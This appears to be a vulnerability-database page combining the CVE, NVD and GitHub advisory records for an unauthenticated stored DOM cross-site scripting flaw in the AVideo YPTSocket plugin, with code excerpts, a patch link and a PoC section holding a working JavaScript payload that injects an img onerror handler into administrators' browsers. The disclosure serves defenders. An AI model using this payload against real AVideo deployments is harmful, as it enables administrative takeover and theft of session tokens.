CVE-2026-54458 (GCVE-0-2026-54458)

Vulnerability from cvelistv5 – Published: 2026-07-15 21:33 – Updated: 2026-07-16 15:12

Title

AVideo: Unauthenticated Stored DOM Cross-Site Scripting via Per-Client Metadata Broadcast in YPTSocket Plugin

Summary

WWBN AVideo is an open source video platform. Versions prior to 29.0 contain a stored DOM Cross-Site Scripting vulnerability in the YPTSocket plugin. Any unauthenticated remote attacker can execute arbitrary JavaScript in the authenticated origin of every administrator currently viewing a page that renders the YPTSocket online-users debug panel. plugin/YPTSocket/getWebSocket.json.php issues a signed WebSocket token to any anonymous caller, and MessageSQLiteV2::onOpen at plugin/YPTSocket/MessageSQLiteV2.php lines 91 and 110 reads the attacker-controlled webSocketSelfURI and page_title query parameters from the WebSocket connection URL with no validation. Both values persist into the in-memory SQLite connections table and broadcast inside the users_id_online array sent to every connected client; on the client, plugin/YPTSocket/script.js::updateSocketUserCard interpolates the broadcast page_title into an HTML template literal that is passed to jQuery $.append(html), which parses attacker bytes into live DOM nodes including <img> with inline event handlers. Successful attackers can can read non-HttpOnly cookies and the CSRF token rendered into the admin dashboard, issue authenticated requests to any admin-only endpoint, exfiltrate the admin dashboard DOM, and chain into any admin-context mutation. When the victim is an AVideo administrator, the attacker turns a single anonymous WebSocket connection into full administrative takeover via the admin's own session. This issue has been patched by https://github.com/WWBN/AVideo/commit/8be71e53ccbe9b84b30870db386fb4d2b11e1c16.

Severity

9.6 (Critical)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:L

SSVC

Exploitation: poc Automatable: no Technical Impact: total

CISA Coordinator (v2.0.3)

CWE

CWE-79 - Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Assigner

GitHub_M

References

2 references

URL	Tags
https://github.com/WWBN/AVideo/security/advisorie…	x_refsource_CONFIRM
https://github.com/WWBN/AVideo/commit/8be71e53ccb…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version
WWBN	AVideo	Affected: <= 29.0

Show details on NVD website

JSON

To clipboard

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FKIE_CVE-2026-54458

Vulnerability from fkie_nvd - Published: 2026-07-15 22:17 - Updated: 2026-07-16 16:19

Severity

9.6 (Critical) - CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:L

Summary

References

	URL	Tags
	security-advisories@github.com	https://github.com/WWBN/AVideo/commit/8be71e53ccbe9b84b30870db386fb4d2b11e1c16
	security-advisories@github.com	https://github.com/WWBN/AVideo/security/advisories/GHSA-8whc-2wmv-ww35
	134c704f-9b21-4f2e-91b3-4a467353bcc0	https://github.com/WWBN/AVideo/security/advisories/GHSA-8whc-2wmv-ww35

Impacted products

	Vendor	Product	Version

JSON

To clipboard

{
  "affected": [
    {
      "affectedData": [
        {
          "product": "AVideo",
          "vendor": "WWBN",
          "versions": [
            {
              "status": "affected",
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            }
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    }
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    {
      "lang": "en",
      "value": "WWBN AVideo is an open source video platform. Versions prior to 29.0 contain a stored DOM Cross-Site Scripting vulnerability in the YPTSocket plugin. Any unauthenticated remote attacker can execute arbitrary JavaScript in the authenticated origin of every administrator currently viewing a page that renders the YPTSocket online-users debug panel. plugin/YPTSocket/getWebSocket.json.php issues a signed WebSocket token to any anonymous caller, and MessageSQLiteV2::onOpen at plugin/YPTSocket/MessageSQLiteV2.php lines 91 and 110 reads the attacker-controlled webSocketSelfURI and page_title query parameters from the WebSocket connection URL with no validation. Both values persist into the in-memory SQLite connections table and broadcast inside the users_id_online array sent to every connected client; on the client, plugin/YPTSocket/script.js::updateSocketUserCard interpolates the broadcast page_title into an HTML template literal that is passed to jQuery $.append(html), which parses attacker bytes into live DOM nodes including \u003cimg\u003e with inline event handlers. Successful attackers can can read non-HttpOnly cookies and the CSRF token rendered into the admin dashboard, issue authenticated requests to any admin-only endpoint, exfiltrate the admin dashboard DOM, and chain into any admin-context mutation. When the victim is an AVideo administrator, the attacker turns a single anonymous WebSocket connection into full administrative takeover via the admin\u0027s own session. This issue has been patched by https://github.com/WWBN/AVideo/commit/8be71e53ccbe9b84b30870db386fb4d2b11e1c16."
    }
  ],
  "id": "CVE-2026-54458",
  "lastModified": "2026-07-16T16:19:13.120",
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GHSA-8WHC-2WMV-WW35

Vulnerability from github – Published: 2026-06-04 18:57 – Updated: 2026-06-22 14:36

Summary

WWBN AVideo: Unauthenticated Stored DOM Cross-Site Scripting via Per-Client Metadata Broadcast in YPTSocket Plugin

Details

Unauthenticated Stored DOM XSS via `page_title` Broadcast in AVideo YPTSocket Plugin

Summary

A stored DOM Cross-Site Scripting vulnerability (CWE-79) in the AVideo YPTSocket plugin lets any unauthenticated remote attacker execute arbitrary JavaScript in the authenticated origin of every administrator currently viewing a page that renders the YPTSocket online-users debug panel. plugin/YPTSocket/getWebSocket.json.php issues a signed WebSocket token to any anonymous caller, and MessageSQLiteV2::onOpen at plugin/YPTSocket/MessageSQLiteV2.php lines 91 and 110 reads the attacker-controlled webSocketSelfURI and page_title query parameters from the WebSocket connection URL with no validation. Both values persist into the in-memory SQLite connections table and broadcast inside the users_id_online array sent to every connected client; on the client, plugin/YPTSocket/script.js::updateSocketUserCard interpolates the broadcast page_title into an HTML template literal that is passed to jQuery $.append(html), which parses attacker bytes into live DOM nodes including <img> with inline event handlers.

Details

plugin/YPTSocket/getWebSocket.json.php issues a WebSocket token to any caller; the only gate is AVideoPlugin::isEnabledByName("YPTSocket"). The token-issuance helper getEncryptedInfo() at plugin/YPTSocket/functions.php:21-24 writes $_REQUEST['webSocketSelfURI'] directly into the per-token state without validation:

// plugin/YPTSocket/functions.php:21-24
if (!empty($_REQUEST['webSocketSelfURI'])) {
    $msgObj->selfURI = $_REQUEST['webSocketSelfURI'];
} else {
    $msgObj->selfURI = getSelfURI();
}

On WebSocket open, MessageSQLiteV2::onOpen reads webSocketSelfURI and page_title from the connection URL query string and persists both verbatim into the in-memory SQLite connections table:

// plugin/YPTSocket/MessageSQLiteV2.php:91 and :110
$client['selfURI']    = $wsocketGetVars['webSocketSelfURI'];        // line 91
$client['page_title'] = @utf8_encode(@$wsocketGetVars['page_title']); // line 110

utf8_encode is not an HTML encode. The broadcast helper dbGetUniqueUsers() (plugin/YPTSocket/db.php:288-300) selects both columns without escape and returns them as part of users_id_online, which msgToResourceId() at MessageSQLiteV2.php:444 places in the outbound JSON frame sent to every connected client. JSON encoding escapes " to \" for transport, but the receiving browser's JSON.parse(event.data) reverses the escape and restores the raw HTML bytes before they reach script.js.

On the client, plugin/YPTSocket/script.js::updateSocketUserCard (lines 638 to 700) interpolates the broadcast page_title into an HTML template literal and passes the result to jQuery $.append(html):

// plugin/YPTSocket/script.js:685-691
if (userData.page_title) textParts.push(userData.page_title);
const finalText = textParts.join(' ');
const html = `<a href="${selfURI}" target="_blank" ...>
                <i class="far fa-compass"></i> ${finalText}
              </a>`;
$(`#${socketUserDivID} .socketUserPages`).append(html);  // sink

jQuery's .append(html) parses the string with the browser HTML parser, building live DOM nodes for any tag the attacker supplied, including <img> with inline event handlers. The browser's load attempt on the attacker-supplied src fails and the inline onerror event handler fires synchronously inside the admin's authenticated origin.

The victim precondition is that the YPTSocket online-users debug panel (#socketUsersURI) is rendered in the admin's DOM. plugin/YPTSocket/footer.php:12 renders the panel when User::isAdmin() && !empty($obj->debugSocket). The debugSocket plugin flag is true by default after enable, so any admin viewing any logged-in AVideo page with the standard YPTSocket footer holds a live broadcast subscription.

Affected product: AVideo (WWBN), YPTSocket plugin Tested version: master branch (snapshot dated 2026-05-22)

PoC

The AVideo deployment must have the YPTSocket plugin enabled (the default after enable) with debugSocket=true (the default), and at least one administrator must currently be viewing a page that loads the YPTSocket footer (any logged-in AVideo page does). The attacker requires only network reachability to getWebSocket.json.php over HTTPS and to the WebSocket TLS port.

Open DevTools Console on any browser tab pointed at the AVideo origin and paste the following one-liner. No authentication and no session cookie are required for the attacker side:

(async () => {
  const PAYLOAD = '<img src=q onerror="document.body.style.backgroundColor=String.fromCharCode(114,101,100);document.title=String.fromCharCode(80,87,78,69,68)">';
  const r = await fetch('/plugin/YPTSocket/getWebSocket.json.php?webSocketSelfURI=' + encodeURIComponent('/dashboard?x=1'));
  const j = await r.json();
  const u = j.webSocketURL
          + '&webSocketSelfURI=' + encodeURIComponent('/dashboard?x=1')
          + '&page_title='       + encodeURIComponent(PAYLOAD);
  const ws = new WebSocket(u);
  ws.onopen    = () => console.log('attacker connected');
  ws.onmessage = e => console.log('attacker frame:', e.data.slice(0, 200));
})();

The payload uses String.fromCharCode to spell its side-effect strings (String.fromCharCode(114,101,100) decodes to red; String.fromCharCode(80,87,78,69,68) decodes to PWNED) so no quote, backtick, or backslash bytes appear in transit. Within one server broadcast cycle, every administrator tab currently rendering the YPTSocket debug panel turns its page background red and changes its browser tab title to PWNED. Both side-effects are produced by attacker JavaScript executing inside the admin's authenticated AVideo origin.

Impact

This is a stored DOM Cross-Site Scripting vulnerability (CWE-79) in the AVideo YPTSocket plugin. An unauthenticated remote attacker who can reach the YPTSocket endpoints plants the payload by issuing one anonymous HTTP GET to getWebSocket.json.php followed by one anonymous WebSocket frame carrying the malicious page_title. The attacker JavaScript executes inside the admin's authenticated AVideo origin and can read non-HttpOnly cookies and the CSRF token rendered into the admin dashboard, issue authenticated requests to any admin-only endpoint, exfiltrate the admin dashboard DOM, and chain into any admin-context mutation. When the victim is an AVideo administrator, the attacker turns a single anonymous WebSocket connection into full administrative takeover via the admin's own session.

Severity

9.6 (Critical)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:L

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{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "WWBN/AVideo"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "29.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-54458"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-04T18:57:50Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "# Unauthenticated Stored DOM XSS via `page_title` Broadcast in AVideo YPTSocket Plugin\n\n## Summary\n\nA stored DOM Cross-Site Scripting vulnerability (CWE-79) in the AVideo YPTSocket plugin lets any unauthenticated remote attacker execute arbitrary JavaScript in the authenticated origin of every administrator currently viewing a page that renders the YPTSocket online-users debug panel. `plugin/YPTSocket/getWebSocket.json.php` issues a signed WebSocket token to any anonymous caller, and `MessageSQLiteV2::onOpen` at `plugin/YPTSocket/MessageSQLiteV2.php` lines 91 and 110 reads the attacker-controlled `webSocketSelfURI` and `page_title` query parameters from the WebSocket connection URL with no validation. Both values persist into the in-memory SQLite `connections` table and broadcast inside the `users_id_online` array sent to every connected client; on the client, `plugin/YPTSocket/script.js::updateSocketUserCard` interpolates the broadcast `page_title` into an HTML template literal that is passed to jQuery `$.append(html)`, which parses attacker bytes into live DOM nodes including `\u003cimg\u003e` with inline event handlers.\n\n## Details\n\n`plugin/YPTSocket/getWebSocket.json.php` issues a WebSocket token to any caller; the only gate is `AVideoPlugin::isEnabledByName(\"YPTSocket\")`. The token-issuance helper `getEncryptedInfo()` at `plugin/YPTSocket/functions.php:21-24` writes `$_REQUEST[\u0027webSocketSelfURI\u0027]` directly into the per-token state without validation:\n\n```php\n// plugin/YPTSocket/functions.php:21-24\nif (!empty($_REQUEST[\u0027webSocketSelfURI\u0027])) {\n    $msgObj-\u003eselfURI = $_REQUEST[\u0027webSocketSelfURI\u0027];\n} else {\n    $msgObj-\u003eselfURI = getSelfURI();\n}\n```\n\nOn WebSocket open, `MessageSQLiteV2::onOpen` reads `webSocketSelfURI` and `page_title` from the connection URL query string and persists both verbatim into the in-memory SQLite `connections` table:\n\n```php\n// plugin/YPTSocket/MessageSQLiteV2.php:91 and :110\n$client[\u0027selfURI\u0027]    = $wsocketGetVars[\u0027webSocketSelfURI\u0027];        // line 91\n$client[\u0027page_title\u0027] = @utf8_encode(@$wsocketGetVars[\u0027page_title\u0027]); // line 110\n```\n\n`utf8_encode` is not an HTML encode. The broadcast helper `dbGetUniqueUsers()` (`plugin/YPTSocket/db.php:288-300`) selects both columns without escape and returns them as part of `users_id_online`, which `msgToResourceId()` at `MessageSQLiteV2.php:444` places in the outbound JSON frame sent to every connected client. JSON encoding escapes `\"` to `\\\"` for transport, but the receiving browser\u0027s `JSON.parse(event.data)` reverses the escape and restores the raw HTML bytes before they reach `script.js`.\n\nOn the client, `plugin/YPTSocket/script.js::updateSocketUserCard` (lines 638 to 700) interpolates the broadcast `page_title` into an HTML template literal and passes the result to jQuery `$.append(html)`:\n\n```js\n// plugin/YPTSocket/script.js:685-691\nif (userData.page_title) textParts.push(userData.page_title);\nconst finalText = textParts.join(\u0027 \u0027);\nconst html = `\u003ca href=\"${selfURI}\" target=\"_blank\" ...\u003e\n                \u003ci class=\"far fa-compass\"\u003e\u003c/i\u003e ${finalText}\n              \u003c/a\u003e`;\n$(`#${socketUserDivID} .socketUserPages`).append(html);  // sink\n```\n\njQuery\u0027s `.append(html)` parses the string with the browser HTML parser, building live DOM nodes for any tag the attacker supplied, including `\u003cimg\u003e` with inline event handlers. The browser\u0027s load attempt on the attacker-supplied `src` fails and the inline `onerror` event handler fires synchronously inside the admin\u0027s authenticated origin.\n\nThe victim precondition is that the YPTSocket online-users debug panel (`#socketUsersURI`) is rendered in the admin\u0027s DOM. `plugin/YPTSocket/footer.php:12` renders the panel when `User::isAdmin() \u0026\u0026 !empty($obj-\u003edebugSocket)`. The `debugSocket` plugin flag is `true` by default after enable, so any admin viewing any logged-in AVideo page with the standard YPTSocket footer holds a live broadcast subscription.\n\n**Affected product:** AVideo (WWBN), YPTSocket plugin\n**Tested version:** master branch (snapshot dated 2026-05-22)\n\n## PoC\n\nThe AVideo deployment must have the YPTSocket plugin enabled (the default after enable) with `debugSocket=true` (the default), and at least one administrator must currently be viewing a page that loads the YPTSocket footer (any logged-in AVideo page does). The attacker requires only network reachability to `getWebSocket.json.php` over HTTPS and to the WebSocket TLS port.\n\nOpen DevTools Console on any browser tab pointed at the AVideo origin and paste the following one-liner. No authentication and no session cookie are required for the attacker side:\n\n```js\n(async () =\u003e {\n  const PAYLOAD = \u0027\u003cimg src=q onerror=\"document.body.style.backgroundColor=String.fromCharCode(114,101,100);document.title=String.fromCharCode(80,87,78,69,68)\"\u003e\u0027;\n  const r = await fetch(\u0027/plugin/YPTSocket/getWebSocket.json.php?webSocketSelfURI=\u0027 + encodeURIComponent(\u0027/dashboard?x=1\u0027));\n  const j = await r.json();\n  const u = j.webSocketURL\n          + \u0027\u0026webSocketSelfURI=\u0027 + encodeURIComponent(\u0027/dashboard?x=1\u0027)\n          + \u0027\u0026page_title=\u0027       + encodeURIComponent(PAYLOAD);\n  const ws = new WebSocket(u);\n  ws.onopen    = () =\u003e console.log(\u0027attacker connected\u0027);\n  ws.onmessage = e =\u003e console.log(\u0027attacker frame:\u0027, e.data.slice(0, 200));\n})();\n```\n\nThe payload uses `String.fromCharCode` to spell its side-effect strings (`String.fromCharCode(114,101,100)` decodes to `red`; `String.fromCharCode(80,87,78,69,68)` decodes to `PWNED`) so no quote, backtick, or backslash bytes appear in transit. Within one server broadcast cycle, every administrator tab currently rendering the YPTSocket debug panel turns its page background red and changes its browser tab title to `PWNED`. Both side-effects are produced by attacker JavaScript executing inside the admin\u0027s authenticated AVideo origin.\n\n## Impact\n\nThis is a stored DOM Cross-Site Scripting vulnerability (CWE-79) in the AVideo YPTSocket plugin. An unauthenticated remote attacker who can reach the YPTSocket endpoints plants the payload by issuing one anonymous HTTP GET to `getWebSocket.json.php` followed by one anonymous WebSocket frame carrying the malicious `page_title`. The attacker JavaScript executes inside the admin\u0027s authenticated AVideo origin and can read non-`HttpOnly` cookies and the CSRF token rendered into the admin dashboard, issue authenticated requests to any admin-only endpoint, exfiltrate the admin dashboard DOM, and chain into any admin-context mutation. When the victim is an AVideo administrator, the attacker turns a single anonymous WebSocket connection into full administrative takeover via the admin\u0027s own session.",
  "id": "GHSA-8whc-2wmv-ww35",
  "modified": "2026-06-22T14:36:02Z",
  "published": "2026-06-04T18:57:50Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-8whc-2wmv-ww35"
    },
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/commit/8be71e53ccbe9b84b30870db386fb4d2b11e1c16"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/WWBN/AVideo"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "WWBN AVideo: Unauthenticated Stored DOM Cross-Site Scripting via Per-Client Metadata Broadcast in YPTSocket Plugin"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

CVE-2026-54458 (GCVE-0-2026-54458)

FKIE_CVE-2026-54458

GHSA-8WHC-2WMV-WW35

Unauthenticated Stored DOM XSS via page_title Broadcast in AVideo YPTSocket Plugin

Summary

Details

PoC

Impact

Tags

Sightings

Nomenclature

Unauthenticated Stored DOM XSS via `page_title` Broadcast in AVideo YPTSocket Plugin